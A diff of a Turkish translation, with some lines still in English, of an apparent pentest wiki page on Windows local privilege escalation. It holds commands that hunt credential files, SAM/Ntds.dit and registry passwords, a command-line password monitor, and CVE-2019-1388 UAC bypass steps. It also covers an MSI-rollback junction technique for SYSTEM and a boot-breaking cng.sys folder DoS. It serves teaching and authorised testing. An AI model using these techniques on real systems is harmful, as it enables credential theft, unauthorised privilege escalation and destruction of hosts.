dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll" @@ -1171,15 +1179,15 @@ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd ``` Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")} ``` -### RecycleBin'deki kimlik bilgileri +### Geri Dönüşüm Kutusu'ndaki Kimlik Bilgileri -Ayrıca içinde kimlik bilgileri bulunup bulunmadığını görmek için Bin'i de kontrol etmelisiniz +Kimlik bilgilerini aramak için ayrıca Geri Dönüşüm Kutusu'nu da kontrol etmelisiniz -Birçok program tarafından kaydedilmiş parolaları **kurtarmak** için şu adresi kullanabilirsiniz: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) +Birçok program tarafından kaydedilmiş şifreleri **kurtarmak** için şu adresi kullanabilirsiniz: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) ### Kayıt Defteri İçinde -**Kimlik bilgileri içerebilecek diğer kayıt defteri anahtarları** +**Kimlik bilgileri içerebilecek diğer olası kayıt defteri anahtarları** ```bash reg query "HKCU\Software\ORL\WinVNC3\Password" reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s @@ -1190,10 +1198,10 @@ reg query "HKCU\Software\OpenSSH\Agent\Key" ### Tarayıcı Geçmişi -Şifrelerin **Chrome or Firefox** tarafından saklandığı db'leri kontrol etmelisiniz.\ -Ayrıca tarayıcıların geçmişini, yer imlerini ve favorilerini kontrol edin; belki bazı **passwords are** orada saklıdır. +Parolaların **Chrome or Firefox**'tan saklandığı dbs'leri kontrol etmelisin.\ +Ayrıca tarayıcıların history, bookmarks ve favourites'larını kontrol et; belki bazı **parolalar** orada saklıdır. -Tarayıcılardan şifre çıkarmak için araçlar: +Tools to extract passwords from browsers: - Mimikatz: `dpapi::chrome` - [**SharpWeb**](https://github.com/djhohnstein/SharpWeb) @@ -1202,26 +1210,26 @@ Tarayıcılardan şifre çıkarmak için araçlar: ### **COM DLL Overwriting** -Component Object Model (COM), farklı dillerde yazılmış yazılım bileşenleri arasında iletişim sağlayan Windows işletim sistemi içinde yerleşik bir teknolojidir. Her COM bileşeni bir class ID (CLSID) ile tanımlanır ve her bileşen bir veya daha fazla interface aracılığıyla işlevsellik sunar; bu arayüzler interface ID (IIDs) ile tanımlanır. +Component Object Model (COM) is a technology built within the Windows operating system that allows **intercommunication** between software components of different languages. Each COM component is **identified via a class ID (CLSID)** and each component exposes functionality via one or more interfaces, identified via interface IDs (IIDs). -COM sınıfları ve arayüzleri registry içinde sırasıyla **HKEY\CLASSES\ROOT\CLSID** ve **HKEY\CLASSES\ROOT\Interface** altında tanımlanır. Bu registry, **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** birleştirilerek oluşturulan **HKEY\CLASSES\ROOT** tarafından meydana getirilir. +COM classes and interfaces are defined in the registry under **HKEY\CLASSES\ROOT\CLSID** and **HKEY\CLASSES\ROOT\Interface** respectively. This registry is created by merging the **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** -Bu registry içindeki CLSID'lerin içinde, bir **InProcServer32** alt kayıt anahtarı bulunur; bu anahtar içinde bir DLL'e işaret eden bir **default value** ve **ThreadingModel** adında bir değer vardır. ThreadingModel değeri **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) veya **Neutral** (Thread Neutral) olabilir. +Inside the CLSIDs of this registry you can find the child registry **InProcServer32** which contains a **default value** pointing to a **DLL** and a value called **ThreadingModel** that can be **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) or **Neutral** (Thread Neutral). ![](<../../images/image (729).png>) -Temelde, çalıştırılacak DLL'lerden herhangi birini overwrite edebiliyorsanız, o DLL farklı bir kullanıcı tarafından çalıştırılacaksa yetki yükseltme (escalate privileges) gerçekleştirebilirsiniz. +Temelde, çalıştırılacak DLL'lerden herhangi birini overwrite edebiliyorsan, o DLL farklı bir kullanıcı tarafından çalıştırılacaksa escalate privileges yapabilirsin. -Saldırganların COM Hijacking'i persistence mekanizması olarak nasıl kullandığını öğrenmek için bakın: +Saldırganların COM Hijacking'i persistence mekanizması olarak nasıl kullandıklarını öğrenmek için bak: {{#ref}} com-hijacking.md {{#endref}} -### Genel Şifre araması — dosyalarda ve registry'de +### **Genel Parola araması dosyalarda ve registry'de** -Dosya içeriklerini ara +**Dosya içeriklerinde ara** ```bash cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config @@ -1233,20 +1241,20 @@ dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* where /R C:\ user.txt where /R C:\ *.ini ``` -**Kayıt defterinde anahtar adları ve parolalar için arama yapın** +**Kayıt defterinde anahtar adları ve parolalar için arama yap** ```bash REG QUERY HKLM /F "password" /t REG_SZ /S /K REG QUERY HKCU /F "password" /t REG_SZ /S /K REG QUERY HKLM /F "password" /t REG_SZ /S /d REG QUERY HKCU /F "password" /t REG_SZ /S /d ``` -### Parolaları arayan araçlar +### Şifre arayan araçlar -[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **is a msf** eklentisidir. Bu eklentiyi, hedefin içinde **automatically execute every metasploit POST module that searches for credentials** amacıyla oluşturdum.\ -[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) bu sayfada bahsedilen parolaları içeren tüm dosyaları otomatik olarak arar.\ -[**Lazagne**](https://github.com/AlessandroZ/LaZagne) bir sistemden şifreleri çıkarmak için başka bir harika araçtır. +[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **msf eklentisidir.** Bu eklentiyi, hedef içinde credentials arayan tüm metasploit POST modüllerini **otomatik olarak çalıştırmak** için oluşturdum.\ +[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) bu sayfada bahsedilen şifreleri içeren tüm dosyaları otomatik olarak arar.\ +[**Lazagne**](https://github.com/AlessandroZ/LaZagne) bir sistemden şifre çıkarmak için başka bir harika araçtır. -Araç [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher), açık metin olarak bu verileri kaydeden birçok araçta (PuTTY, WinSCP, FileZilla, SuperPuTTY ve RDP) **sessions**, **usernames** ve **passwords** arar. +Araç [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher), bu verileri düz metin olarak kaydeden (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP) çeşitli araçlardaki **sessions**, **usernames** ve **passwords**'ı arar ```bash Import-Module path\to\SessionGopher.ps1; Invoke-SessionGopher -Thorough @@ -1255,30 +1263,30 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ``` ## Leaked Handlers -Imagine that **a process running as SYSTEM open a new process** (`OpenProcess()`) with **full access**. The same process **also create a new process** (`CreateProcess()`) **with low privileges but inheriting all the open handles of the main process**.\ -Then, if you have **full access to the low privileged process**, you can grab the **open handle to the privileged process created** with `OpenProcess()` and **inject a shellcode**.\ -[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\ -[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). +Düşünün ki **SYSTEM olarak çalışan bir süreç** (`OpenProcess()`) **tam erişimle yeni bir süreç açıyor**. Aynı süreç **CreateProcess() ile düşük ayrıcalıklı ama ana sürecin tüm açık handle'larını devralan yeni bir süreç de oluşturuyor**.\ +O zaman, eğer **düşük ayrıcalıklı sürece tam erişiminiz** varsa, `OpenProcess()` ile oluşturulmuş **ayrıcalıklı sürece ait açık handle'ı** alıp **bir shellcode enjekte edebilirsiniz**.\ +[Bu örneği, bu zafiyeti **nasıl tespit edip istismar edeceğiniz** hakkında daha fazla bilgi için okuyun.](leaked-handle-exploitation.md)\ +[Bu **diğer yazı**, farklı izin seviyeleriyle miras kalan süreç ve thread açık handle'larını nasıl test edip kötüye kullanacağınızı (sadece tam erişim değil) daha kapsamlı açıklıyor.](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) ## Named Pipe Client Impersonation -Shared memory segments, referred to as **pipes**, enable process communication and data transfer. +Paylaşılan bellek segmentleri, **pipes** olarak adlandırılan, süreçler arası iletişim ve veri aktarımını sağlar. -Windows provides a feature called **Named Pipes**, allowing unrelated processes to share data, even over different networks. This resembles a client/server architecture, with roles defined as **named pipe server** and **named pipe client**. +Windows, ilişkisi olmayan süreçlerin veri paylaşmasına, hatta farklı ağlar üzerinden bile, izin veren **Named Pipes** adında bir özellik sağlar. Bu, rolü **named pipe server** ve **named pipe client** olarak tanımlanan bir client/server mimarisine benzer. -When data is sent through a pipe by a **client**, the **server** that set up the pipe has the ability to **take on the identity** of the **client**, assuming it has the necessary **SeImpersonate** rights. Identifying a **privileged process** that communicates via a pipe you can mimic provides an opportunity to **gain higher privileges** by adopting the identity of that process once it interacts with the pipe you established. For instructions on executing such an attack, helpful guides can be found [**here**](named-pipe-client-impersonation.md) and [**here**](#from-high-integrity-to-system). +Bir **client** tarafından pipe üzerinden veri gönderildiğinde, pipe'ı kuran **server**, gerekli **SeImpersonate** haklarına sahipse **client'ın kimliğini üstlenme** yeteneğine sahiptir. Pipe üzerinden iletişim kuran ve taklit edebileceğiniz bir **ayrıcalıklı süreç** tespit etmek, sizin kurduğunuz pipe ile etkileşime geçtiğinde o sürecin kimliğini üstlenerek **daha yüksek ayrıcalık elde etme** fırsatı sağlar. Böyle bir saldırıyı gerçekleştirme talimatları için rehberler [**burada**](named-pipe-client-impersonation.md) ve [**burada**](#from-high-integrity-to-system) bulunabilir. -Also the following tool allows to **intercept a named pipe communication with a tool like burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **and this tool allows to list and see all the pipes to find privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) +Ayrıca aşağıdaki araç, burp gibi bir araçla named pipe iletişimini yakalamanıza olanak sağlar: [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) ve bu araç tüm pipe'ları listeleyip privescs bulmanıza yardımcı olur: [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) -## Diğer +## Çeşitli -### Windows'ta kod çalıştırabilecek dosya uzantıları +### Windows'ta bir şeyler çalıştırabilecek dosya uzantıları -Check out the page **[https://filesec.io/](https://filesec.io/)** +Sayfaya göz atın **[https://filesec.io/](https://filesec.io/)** -### **Parolalar için Komut Satırlarını İzleme** +### **Komut Satırlarını Parolalar İçin İzleme** -When getting a shell as a user, there may be scheduled tasks or other processes being executed which **pass credentials on the command line**. The script below captures process command lines every two seconds and compares the current state with the previous state, outputting any differences. +Bir kullanıcı olarak shell elde ettiğinizde, komut satırında kimlik bilgilerini ileten planlanmış görevler veya yürütülen diğer süreçler olabilir. Aşağıdaki script, süreçlerin komut satırlarını her iki saniyede bir yakalar ve mevcut durumu önceki durumla karşılaştırarak herhangi bir farkı çıktı olarak gösterir. ```bash while($true) { @@ -1288,15 +1296,15 @@ $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine Compare-Object -ReferenceObject $process -DifferenceObject $process2 } ``` -## Proseslerden parolaların çalınması +## Stealing passwords from processes -## Düşük ayrıcalıklı kullanıcıdan NT\AUTHORITY SYSTEM'e yükselme (CVE-2019-1388) / UAC Bypass +## From Low Priv User to NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass -Grafik arayüzüne (konsol veya RDP aracılığıyla) erişiminiz varsa ve UAC etkinse, bazı Microsoft Windows sürümlerinde bir terminali veya başka herhangi bir süreci "NT\AUTHORITY SYSTEM" olarak düşük ayrıcalıklı bir kullanıcıdan çalıştırmak mümkündür. +Grafik arayüzüne (konsol veya RDP aracılığıyla) erişiminiz varsa ve UAC etkinse, bazı Microsoft Windows sürümlerinde ayrıcalıksız bir kullanıcıdan "NT\AUTHORITY SYSTEM" gibi bir terminal veya başka herhangi bir süreci çalıştırmak mümkün olabilir. -Bu, aynı güvenlik açığı ile ayrıcalıkları yükseltmeyi ve aynı zamanda UAC'ı atlamayı mümkün kılar. Ayrıca herhangi bir şey yüklemeye gerek yoktur ve işlem sırasında kullanılan binary Microsoft tarafından imzalanmış ve yayımlanmıştır. +Bu, aynı güvenlik açığıyla aynı anda ayrıcalıkları yükseltmeyi ve UAC'yi atlamayı mümkün kılar. Ek olarak, hiçbir şey yüklemeye gerek yoktur ve süreçte kullanılan ikili dosya imzalıdır ve Microsoft tarafından sağlanmıştır. -Etkilenen sistemlerden bazıları şunlardır: +Some of the affected systems are the following: ``` SERVER ====== @@ -1318,7 +1326,7 @@ Windows 10 1607 14393 ** link OPENED AS SYSTEM ** Windows 10 1703 15063 link NOT opened Windows 10 1709 16299 link NOT opened ``` -Bu güvenlik açığını istismar etmek için aşağıdaki adımların uygulanması gerekir: +Bu güvenlik açığından yararlanmak için aşağıdaki adımların uygulanması gerekmektedir: ``` 1) Right click on the HHUPD.EXE file and run it as Administrator. @@ -1360,11 +1368,11 @@ Then **read this to learn about UAC and UAC bypasses:** The technique described [**in this blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) with a exploit code [**available here**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). -Saldırı temelde Windows Installer'ın rollback (geri alma) özelliğini, uninstall sırasında meşru dosyaları kötü amaçlı olanlarla değiştirmek için suistimal etmeye dayanır. Bunun için saldırganın, `C:\Config.Msi` klasörünü kaçırmak amacıyla kullanılacak **kötü amaçlı bir MSI installer** oluşturması gerekir; Windows Installer, diğer MSI paketlerinin uninstall işlemi sırasında rollback dosyalarını buraya koyacaktır ve bu rollback dosyaları kötü amaçlı yükü içerecek şekilde değiştirilir. +Saldırı temelde Windows Installer'ın rollback özelliğini, uninstall işlemi sırasında meşru dosyaları kötü amaçlı olanlarla değiştirilecek şekilde kötüye kullanmaktan ibarettir. Bunun için saldırganın `C:\Config.Msi` klasörünü ele geçirmek üzere kullanılacak **kötü amaçlı bir MSI installer** oluşturması gerekir; Windows Installer, diğer MSI paketlerinin uninstall işlemlerinde rollback dosyalarını buraya koyar ve bu rollback dosyaları daha sonra kötü amaçlı payload içerecek şekilde değiştirilir. Özet teknik şu şekildedir: -1. **Stage 1 – Preparing for the Hijack (leave `C:\Config.Msi` empty)** +1. **Stage 1 – Hijack için Hazırlık (bırakın `C:\Config.Msi` boş kalsın)** - Step 1: Install the MSI - Create an `.msi` that installs a harmless file (e.g., `dummy.txt`) in a writable folder (`TARGETDIR`). @@ -1449,39 +1457,39 @@ You could exploit **NTFS internals**: every folder has a hidden alternate data s ``` C:\SomeFolder::$INDEX_ALLOCATION ``` -Bu akış, klasörün **indeks meta verisini** saklar. +Bu akış klasörün **indeks meta verisini** depolar. -Bu yüzden, bir klasörün **`::$INDEX_ALLOCATION` akışını silerseniz**, NTFS **tüm klasörü** dosya sisteminden kaldırır. +Yani, bir klasörün **`::$INDEX_ALLOCATION` akışını silerseniz**, NTFS, dosya sisteminden **tüm klasörü kaldırır**. Bunu şu gibi standart dosya silme API'leri kullanarak yapabilirsiniz: ```c DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION"); ``` -> Even though you're calling a *file* delete API, it **klasörün kendisini siler**. +> Bir *dosya* silme API'sini çağırıyor olsanız da, o **klasörün kendisini siliyor**. ### Klasör İçeriğini Silmekten SYSTEM EoP'ye -What if your primitive doesn’t allow you to delete arbitrary files/folders, but it **does allow deletion of the *contents* of an attacker-controlled folder**? +Primitive rastgele dosya/klasörleri silmenize izin vermiyorsa, ancak **saldırgan-kontrollü bir klasörün *içeriğinin* silinmesine** izin veriyorsa ne olur? -1. Step 1: Tuzak bir klasör ve dosya oluşturma -- Oluştur: `C:\temp\folder1` +1. Adım 1: Tuzak klasör ve dosya oluşturma +- Oluşturun: `C:\temp\folder1` - İçinde: `C:\temp\folder1\file1.txt` -2. Step 2: Place an **oplock** on `file1.txt` -- Oplock, ayrıcalıklı bir süreç `file1.txt`'yi silmeye çalıştığında **yürütmeyi duraklatır**. +2. Adım 2: `file1.txt` üzerine bir **oplock** yerleştirme +- Oplock, ayrıcalıklı bir süreç `file1.txt`'i silmeye çalıştığında **yürütmeyi duraklatır**. ```c // pseudo-code RequestOplock("C:\\temp\\folder1\\file1.txt"); WaitForDeleteToTriggerOplock(); ``` -3. Adım 3: SYSTEM sürecini tetikle (örn., `SilentCleanup`) -- Bu süreç klasörleri tarar (örn., `%TEMP%`) ve içeriklerini silmeye çalışır. -- `file1.txt`'e ulaştığında, **oplock tetiklenir** ve kontrol callback'inize verilir. +3. Adım 3: SYSTEM sürecini tetikleyin (ör. `SilentCleanup`) +- Bu süreç klasörleri tarar (ör. `%TEMP%`) ve içeriklerini silmeye çalışır. +- `file1.txt`'e ulaştığında, **oplock tetiklenir** ve kontrol callback'inize geçer. -4. Adım 4: Oplock callback içinde – silme işlemini yönlendir +4. Adım 4: oplock callback içinde – silmeyi yönlendir - Seçenek A: `file1.txt`'i başka bir yere taşı - Bu, oplock'u bozmadan `folder1`'i boşaltır. -- `file1.txt`'i doğrudan silmeyin — bu, oplock'u erken serbest bırakır. +- `file1.txt`'i doğrudan silmeyin — bu oplock'un erken serbest bırakılmasına neden olur. - Seçenek B: `folder1`'i bir **junction**'a dönüştür: ```bash @@ -1493,68 +1501,68 @@ mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control # Make file1.txt point to a sensitive folder stream CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION") ``` -> Bu, klasörün meta verilerini depolayan NTFS iç akışını hedef alır — bunu silmek klasörü siler. +> Bu, klasör metadata'sını depolayan NTFS'in dahili akışını hedef alır — onu silmek klasörü siler. -5. Adım 5: oplock'u serbest bırak -- SYSTEM işlemi devam eder ve `file1.txt`'i silmeye çalışır. -- Ancak şimdi, junction + symlink nedeniyle, aslında şunu siliyor: +5. Adım 5: Oplock'u serbest bırak +- SYSTEM süreci devam eder ve `file1.txt` dosyasını silmeye çalışır. +- Ancak şimdi, junction + symlink nedeniyle, aslında siliyor: ``` C:\Config.Msi::$INDEX_ALLOCATION ``` -**Sonuç**: `C:\Config.Msi` is deleted by SYSTEM. +**Sonuç**: `C:\Config.Msi` SYSTEM tarafından silinir. -### From Arbitrary Folder Create to Permanent DoS +### Keyfi Klasör Oluşturmadan Kalıcı DoS'a -Dosyalara yazamıyor veya zayıf izinler ayarlayamıyor olsanız bile size **create an arbitrary folder as SYSTEM/admin** izni veren bir primitive'i istismar edin. +Bir primitive'i kullanın; bu primitive size **SYSTEM/admin olarak keyfi bir klasör oluşturma** imkanı verir — hatta **dosya yazamıyor olsanız bile** veya **zayıf izinler ayarlayamıyor olsanız bile**. -Adı **critical Windows driver** olan bir **folder** (dosya değil) oluşturun, örn.: +Bir **klasör** (dosya değil) oluşturun, adını bir **kritik Windows sürücüsü** adıyla verin, örn.: ``` C:\Windows\System32\cng.sys ``` -- Bu yol genellikle `cng.sys` kernel-mode sürücüsüne karşılık gelir. -- Eğer onu **klasör olarak önceden oluşturursanız**, Windows önyüklemede gerçek sürücüyü yükleyemez. -- Sonra, Windows önyükleme sırasında `cng.sys`'i yüklemeye çalışır. -- Klasörü görür, **gerçek sürücüyü çözemeyip**, **çöker veya önyüklemeyi durdurur**. -- Harici müdahale (ör. önyükleme onarımı veya disk erişimi) olmadan **geri dönüş yok** ve **kurtarma mümkün değil**. +- Bu yol normalde `cng.sys` kernel-mode sürücüsüne karşılık gelir. +- Eğer onu **klasör olarak önceden oluşturursanız**, Windows gerçek sürücüyü önyükleme sırasında yükleyemez. +- Ardından, Windows önyükleme sırasında `cng.sys` yüklemeye çalışır. +- Klasörü görür, **gerçek sürücüyü çözemediği için** ve **çöker veya önyüklemeyi durdurur**. +- Dış müdahale olmadan (ör. önyükleme onarımı veya disk erişimi) **geri dönüş yoktur**, ve **kurtarma yoktur**. -## **High Integrity'den System'e** +## **Yüksek Bütünlükten SYSTEM'e** ### **Yeni servis** -Eğer zaten bir High Integrity işleminde çalışıyorsanız, **SYSTEM'e giden yol** sadece **yeni bir servis oluşturup çalıştırmak** kadar kolay olabilir: +Zaten bir Yüksek Bütünlük işleminde çalışıyorsanız, **SYSTEM'e giden yol** sadece **yeni bir servis oluşturup çalıştırmak** olabilir: ``` sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` > [!TIP] -> Bir service binary oluştururken, bunun geçerli bir service olduğundan veya binary'nin gerekli eylemleri gerçekleştirdiğinden emin olun; geçerli bir service değilse 20s içinde sonlandırılacaktır. +> Bir service binary oluştururken geçerli bir service olduğundan veya binary'nin gerekli eylemleri hızlıca gerçekleştirdiğinden emin olun; geçerli bir service değilse 20s içinde sonlandırılacaktır. ### AlwaysInstallElevated -High Integrity bir process'ten, **AlwaysInstallElevated registry girdilerini etkinleştirmeyi** ve bir _**.msi**_ wrapper kullanarak bir reverse shell **install etmeyi** deneyebilirsiniz.\ -[More information about the registry keys involved and how to install a _.msi_ package here.](#alwaysinstallelevated) +High Integrity process'ten **AlwaysInstallElevated registry entries**'i etkinleştirmeyi ve bir _**.msi**_ wrapper kullanarak bir reverse shell **install** etmeyi deneyebilirsiniz.\ +[Burada ilgili kayıt anahtarları ve _.msi_ paketinin nasıl kurulacağı hakkında daha fazla bilgi.](#alwaysinstallelevated) ### High + SeImpersonate privilege to System -**You can** [**find the code here**](seimpersonate-from-high-to-system.md)**.** +Kodu [**burada bulabilirsiniz**](seimpersonate-from-high-to-system.md). ### From SeDebug + SeImpersonate to Full Token privileges -Eğer bu token ayrıcalıklarına sahipseniz (muhtemelen zaten High Integrity bir process'te bulacaksınız), SeDebug ayrıcalığı ile **neredeyse her süreci** (protected süreçler hariç) açabilir, sürecin **token'ını kopyalayabilir** ve o token ile **rastgele bir process oluşturabilirsiniz**.\ -Bu teknikle genellikle **SYSTEM olarak çalışan herhangi bir süreci, tüm token ayrıcalıkları ile seçersiniz** (_evet, tüm token ayrıcalıklarına sahip olmayan SYSTEM süreçleri de bulunabilir_).\ -**Önerilen tekniği uygulayan bir** [**kod örneğini burada bulabilirsiniz**](sedebug-+-seimpersonate-copy-token.md)**.** +Eğer bu token ayrıcalıklarına sahipseniz (muhtemelen zaten bir High Integrity process içinde bulursunuz), SeDebug ayrıcalığı ile (korunan processler hariç) **neredeyse herhangi bir process'i açabilir**, process'in **token**'ini **kopyalayabilir** ve o token ile **istediğiniz bir process'i oluşturabilirsiniz**.\ +Bu teknik genellikle **tüm token ayrıcalıklarına sahip ve SYSTEM olarak çalışan bir process'in seçilmesini** içerir (_evet, tüm token ayrıcalıklarına sahip olmayan SYSTEM process'leri de bulabilirsiniz_).\ +Önerilen tekniği çalıştıran bir kod örneğini [**burada bulabilirsiniz**](sedebug-+-seimpersonate-copy-token.md). ### **Named Pipes** -Bu teknik meterpreter tarafından `getsystem` için kullanılır. Teknik, **bir pipe oluşturmak ve ardından o pipe'a yazmak için bir service oluşturmak/abuse etmek**ten oluşur. Daha sonra, **pipe'ı oluşturan server**, **`SeImpersonate`** ayrıcalığını kullanarak pipe istemcisinin (service) **token'ını impersonate edebilecek** ve SYSTEM ayrıcalıkları elde edecektir.\ -Name pipes hakkında [**daha fazla bilgi edinmek isterseniz bunu okumalısınız**](#named-pipe-client-impersonation).\ -High integrity'den System'e name pipes kullanarak nasıl geçileceğini okumak isterseniz [**bunu okuyun**](from-high-integrity-to-system-with-name-pipes.md). +Bu teknik meterpreter tarafından getsystem sırasında kullanılır. Teknik, **bir pipe oluşturmak ve ardından o pipe'a yazması için bir service oluşturmak/kötüye kullanmaktan** oluşur. Sonrasında, **pipe'ı oluşturan server** `SeImpersonate` ayrıcalığını kullanarak pipe istemcisinin (service) **token**'ini **impersonate** edebilir ve SYSTEM ayrıcalıkları elde edebilir.\ +Named Pipes hakkında [**daha fazla bilgi edinmek istiyorsanız bunu okuyun**](#named-pipe-client-impersonation).\ +High integrity'den System'e name pipes kullanarak nasıl geçileceğine dair bir örneği [**burada okuyabilirsiniz**](from-high-integrity-to-system-with-name-pipes.md). ### Dll Hijacking -Eğer **SYSTEM olarak çalışan bir process tarafından yüklenen bir dll'i hijack etmeyi** başarırsanız, bu izinlerle rastgele kod çalıştırabilirsiniz. Bu nedenle Dll Hijacking bu tip ayrıcalık yükseltme için yararlıdır ve ayrıca, yüksek erişimli bir process'ten **çok daha kolay başarılabilir** çünkü dll'lerin yüklendiği klasörlerde **yazma iznine** sahip olacaktır.\ -**You can** [**learn more about Dll hijacking here**](dll-hijacking/index.html)**.** +Eğer SYSTEM olarak çalışan bir process tarafından **yüklenen bir dll'i hijack** etmeyi başarırsanız, o izinlerle rastgele kod çalıştırabilirsiniz. Bu yüzden Dll Hijacking bu tür privilege escalation için kullanışlıdır ve ayrıca yüksek integrity bir process'ten elde edilmesi **çok daha kolaydır**, çünkü dll'lerin yüklendiği klasörlerde **write permissions**'a sahip olacaktır.\ +Dll hijacking hakkında [**daha fazla öğrenebilirsiniz**](dll-hijacking/index.html). ### **From Administrator or Network Service to System** @@ -1572,49 +1580,49 @@ Eğer **SYSTEM olarak çalışan bir process tarafından yüklenen bir dll'i hij ## Useful tools -**Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +**Windows yerel privilege escalation vektörlerini aramak için en iyi araç:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) **PS** [**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\ -[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Yanlış yapılandırmaları ve hassas dosyaları kontrol et (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Detected.**\ -[**JAWS**](https://github.com/411Hall/JAWS) **-- Bazı olası yanlış yapılandırmaları kontrol eder ve bilgi toplar (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ -[**privesc** ](https://github.com/enjoiz/Privesc)**-- Yanlış yapılandırmaları kontrol eder**\ +[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Yapılandırma hatalarını ve hassas dosyaları kontrol eder (**[**buraya bakın**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Tespit edildi.**\ +[**JAWS**](https://github.com/411Hall/JAWS) **-- Olası bazı yapılandırma hatalarını kontrol eder ve bilgi toplar (**[**buraya bakın**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ +[**privesc** ](https://github.com/enjoiz/Privesc)**-- Yapılandırma hatalarını kontrol eder**\ [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- PuTTY, WinSCP, SuperPuTTY, FileZilla ve RDP kayıtlı oturum bilgilerini çıkarır. Yerelde -Thorough kullanın.**\ -[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Credential Manager'dan kimlik bilgilerini çıkarır. Detected.**\ -[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Toplanan parolaları domain üzerinde spray yapar**\ -[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh bir PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer ve man-in-the-middle aracıdır.**\ -[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Temel Windows privesc enumerasyonu**\ -[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Bilinen privesc zafiyetlerini arar (DEPRECATED for Watson)\ +[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Credential Manager'dan kimlik bilgilerini çıkarır. Tespit edildi.**\ +[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Toplanan parolaları domain genelinde spray yapar**\ +[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer ve man-in-the-middle aracıdır.**\ 